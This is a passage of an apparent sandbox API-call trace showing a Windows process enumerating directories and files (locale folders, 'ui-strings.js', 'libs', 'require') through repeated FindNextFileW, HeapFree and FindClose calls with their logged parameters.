ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0265.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0265.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.464] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0265.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.465] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0265.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.466] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0265.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.466] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.466] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0265.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.466] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0265.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.466] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0265.466] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0265.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.467] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0265.467] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0265.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.467] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0265.467] FindClose (in: hFindFile=0x6ebc30 | out: hFindFile=0x6ebc30) returned 1 [0265.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.467] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0265.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.467] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0265.467] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0265.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.467] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1 [0265.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.468] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0265.468] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0265.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.468] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0 [0265.468] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0265.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.468] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, 